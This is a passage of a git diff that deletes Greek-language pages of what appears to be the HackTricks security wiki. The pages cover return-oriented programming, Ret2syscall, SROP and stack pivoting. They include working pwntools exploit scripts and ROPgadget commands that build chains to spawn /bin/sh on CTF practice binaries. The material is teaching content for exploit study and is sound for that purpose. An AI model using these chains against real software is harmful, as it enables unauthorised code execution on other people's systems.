στο stack από δεξιά προς τα αριστερά.** -- **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack. - -### **Εύρεση Gadgets** - -Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι: - -- `pop eax; ret`: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`. -- `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`. -- `mov [ebx], eax; ret`: Μεταφέρει την τιμή στο `EAX` στη διεύθυνση μνήμης που υποδεικνύεται από το `EBX` και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται **write-what-where gadget**. -- Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης `system()` διαθέσιμη. - -### **ROP Chain** - -Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP chain ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με: - -1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική) -2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html)) -3. Θέση για τη διεύθυνση επιστροφής από το `system()` -4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system) -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadc0de - -# A gadget to control the return address, typically found through analysis -ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues -system_addr, # Address of system(). Execution will continue here after the ret gadget -0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. -bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p32(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -## ROP Chain in x64 Example - -### **x64 (64-bit) Calling conventions** - -- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου τα **πρώτα έξι ακέραια ή δείκτες παραμέτρων περνιούνται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετες παράμετροι περνιούνται στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`. -- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να περνιούνται στο στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`. -- **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`. - -#### **Finding Gadgets** - -Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη **"/bin/sh"** συμβολοσειρά ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη **system()** συνάρτηση. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets: - -- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**. -- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του στοίβας σε ορισμένα σενάρια. - -Και γνωρίζουμε τη διεύθυνση της **system()** συνάρτησης. - -### **ROP Chain** - -Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP αλυσίδα με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**: -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadbeefdeadbeef - -# Gadgets (hypothetical values) -pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret -ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # Alignment gadget, if needed -pop_rdi_gadget, # pop rdi; ret -bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() -system_addr # Address of system(). Execution will continue here. -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p64(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -Σε αυτό το παράδειγμα: - -- Χρησιμοποιούμε το **`pop rdi; ret`** gadget για να ορίσουμε το **`RDI`** στη διεύθυνση του **`"/bin/sh"`**. -- Πηδάμε απευθείας στη **`system()`** μετά την ρύθμιση του **`RDI`**, με τη διεύθυνση της **system()** στην αλυσίδα. -- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, κάτι που είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων. - -### Ευθυγράμμιση Στοίβας - -**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας. - -## κύρια διαφορά x86 vs x64 - -> [!TIP] -> Δεδομένου ότι το x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική **x64** παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP). - -## Προστασίες - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) - -## Άλλα Παραδείγματα & Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - -## Τεχνικές βασισμένες σε ROP - -Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX: - -- **Ret2lib**: Χρησιμοποιήστε το ROP για να καλέσετε αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`. - -{{#ref}} -ret2lib/ -{{#endref}} - -- **Ret2Syscall**: Χρησιμοποιήστε το ROP για να προετοιμάσετε μια κλήση σε μια syscall, π.χ. `execve`, και να την κάνετε να εκτελεί αυθαίρετες εντολές. - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -- **EBP2Ret & EBP Chaining**: Το πρώτο θα εκμεταλλευτεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι επίσης απαραίτητο να ελέγχεται το EIP). - -{{#ref}} -stack-pivoting-ebp2ret-ebp-chaining.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md deleted file mode 100644 index 4198c98a5..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ /dev/null @@ -1,185 +0,0 @@ -# Ret2syscall - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτή την περίπτωση δεν θα καλούμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτή την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουμε το syscall `sys_execve` με ορισμένα επιχειρήματα για να εκτελέσουμε το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που είναι στατικά μεταγλωττισμένα, οπότε μπορεί να υπάρχουν πολλά gadgets και οδηγίες syscall. - -Για να προετοιμάσουμε την κλήση για το **syscall** χρειάζεται η εξής διαμόρφωση: - -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` - -Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή. - -> [!TIP] -> Ένα άλλο ενδιαφέρον syscall για κλήση είναι το **`mprotect`** το οποίο θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [ret2shellcode](stack-shellcode.md). - -## Register gadgets - -Ας ξεκινήσουμε βρίσκοντας **πώς να ελέγξουμε αυτούς τους καταχωρητές**: -```c -ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" -0x0000000000415664 : pop rax ; ret -0x0000000000400686 : pop rdi ; ret -0x00000000004101f3 : pop rsi ; ret -0x00000000004498b5 : pop rdx ; ret -``` -Με αυτές τις διευθύνσεις είναι δυνατόν να **γράψετε το περιεχόμενο στη στοίβα και να το φορτώσετε στους καταχωρητές**. - -## Γράψτε συμβολοσειρά - -### Γράψιμη μνήμη - -Πρώτα πρέπει να βρείτε ένα γράψιμο μέρος στη μνήμη -```bash -gef> vmmap -[ Legend: Code | Heap | Stack ] -Start End Offset Perm Path -0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] -``` -### Γράψτε Συμβολοσειρά στη μνήμη - -Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση -```bash -ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" -mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx -``` -### Αυτοματοποίηση αλυσίδας ROP - -Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα `sys_execve` ROP δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall: -```bash -ROPgadget --binary vuln --ropchain -``` -#### 32 bit -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' - -rop += popRdx # place value into EAX -rop += "/bin" # 4 bytes at a time -rop += popRax # place value into edx -rop += p32(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx - -rop += popRdx -rop += "//sh" -rop += popRax -rop += p32(0x6b6000 + 4) -rop += writeGadget -``` -#### 64 bit -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx -``` -## Έλλειψη Gadgets - -Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των παραμέτρων καταχωρητών) από τη στοίβα: - -{{#ref}} -srop-sigreturn-oriented-programming.md -{{#endref}} - -Μπορεί να υπάρχουν gadgets στην περιοχή vDSO, η οποία χρησιμοποιείται για να αλλάξει από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτούς τους τύπους προκλήσεων, συνήθως παρέχεται μια εικόνα πυρήνα για να απορριφθεί η περιοχή vDSO. - -## Παράδειγμα Εκμετάλλευσης -```python -from pwn import * - -target = process('./speedrun-001') -#gdb.attach(target, gdbscript = 'b *0x400bad') - -# Establish our ROP Gadgets -popRax = p64(0x415664) -popRdi = p64(0x400686) -popRsi = p64(0x4101f3) -popRdx = p64(0x4498b5) - -# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret -writeGadget = p64(0x48d251) - -# Our syscall gadget -syscall = p64(0x40129c) - -''' -Here is the assembly equivalent for these blocks -write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) -rop += writeGadget - -''' -Prep the four registers with their arguments, and make the syscall - -pop rax, 0x3b -pop rdi, 0x6b6000 -pop rsi, 0x0 -pop rdx, 0x0 - -syscall -''' - -rop += popRax -rop += p64(0x3b) - -rop += popRdi -rop += p64(0x6b6000) - -rop += popRsi -rop += p64(0) -rop += popRdx -rop += p64(0) - -rop += syscall - - -# Add the padding to the saved return address -payload = "0"*0x408 + rop - -# Send the payload, drop to an interactive shell to use our new shell -target.sendline(payload) - -target.interactive() -``` -## Άλλα Παραδείγματα & Αναφορές - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) -- 64 bits, no PIE, nx, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. -- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64 bits, nx, no PIE, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. Για να γράψετε στη στοίβα, εκμεταλλεύεστε μια συνάρτηση που εκτελεί μαθηματικές πράξεις. -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. -- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) -- 32 bits, no ASLR, χρησιμοποιήστε vDSO για να βρείτε ROP gadgets και να καλέσετε το `execve`. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md deleted file mode 100644 index 3cfc65f85..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ /dev/null @@ -1,62 +0,0 @@ -# SROP - Sigreturn-Oriented Programming - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα. - -Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. - -Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack. - -> [!CAUTION] -> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. - -Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls: - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -Για μια καλύτερη εξήγηση ελέγξτε επίσης: - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Example - -Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), αν και αυτό είναι το τελικό exploit από εκεί: -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = process() - -BINSH = elf.address + 0x1250 -POP_RAX = 0x41018 -SYSCALL_RET = 0x41015 - -frame = SigreturnFrame() -frame.rax = 0x3b # syscall number for execve -frame.rdi = BINSH # pointer to /bin/sh -frame.rsi = 0x0 # NULL -frame.rdx = 0x0 # NULL -frame.rip = SYSCALL_RET - -payload = b'A' * 8 -payload += p64(POP_RAX) -payload += p64(0xf) -payload += p64(SYSCALL_RET) -payload += bytes(frame) - -p.sendline(payload) -p.interactive() -``` -## Αναφορές - -- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md deleted file mode 100644 index 4a8ec5e17..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ /dev/null @@ -1,178 +0,0 @@ -# Stack Pivoting - EBP2Ret - EBP chaining - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών `leave; ret`. - -Ως υπενθύμιση, **`leave`** σημαίνει βασικά: -``` -mov esp, ebp -pop ebp -ret -``` -Και καθώς το **EBP είναι στη στοίβα** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα. - -### EBP2Ret - -Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το μητρώο EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το μητρώο EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση. - -Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτήν την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\ -Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτήν όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP. - -#### Κατασκευή Εκμετάλλευσης - -Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**. - -Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε: - -- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση. -- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits). -- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί. -- Μια αλυσίδα [**ROP**](rop-return-oriented-programing.md) - -Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση. - -#### Off-By-One Εκμετάλλευση - -Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής που είναι γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες. - -### **EBP Chaining** - -Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση `EBP` που ελέγχεται από τη στοίβα**. - -Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το καταχραστείτε, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό: - -- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave` -- **`system()`** -> Καλείται από το `ret` -- **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά -- **`&("/bin/sh")`**-> Παράμετρος για το `system` - -Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος. - -Αυτό είναι σαν ένα [ret2lib](ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις. - -Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **διαρροή στοίβας** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) -log.success(f'Buffer: {hex(buffer)}') - -LEAVE_RET = 0x40117c -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 - -payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, -elf.sym['winner'] -) - -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) - -payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -## EBP είναι άχρηστο - -Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\ -Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο. - -- **Μη βελτιστοποιημένο:** -```bash -push %ebp # save ebp -mov %esp,%ebp # set new ebp -sub $0x100,%esp # increase stack size -. -. -. -leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) -ret # return -``` -- **Βελτιστοποιημένο:** -```bash -push %ebx # save ebx -sub $0x100,%esp # increase stack size -. -. -. -add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx -ret # return -``` -## Άλλοι τρόποι ελέγχου του RSP - -### **`pop rsp`** gadget - -[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**: -```python -# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp -# This version has added comments - -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user -log.success(f'Buffer: {hex(buffer)}') - -POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 # pop RSI and R15 - -# The payload starts -payload = flat( -0, # r13 -0, # r14 -0, # r15 -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, # r15 -elf.sym['winner'] -) - -payload = payload.ljust(104, b'A') # pad to 104 - -# Start popping RSP, this moves the stack to the leaked address and -# continues the ROP chain in the prepared payload -payload += flat( -POP_CHAIN, -buffer # rsp -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -### xchg \, rsp 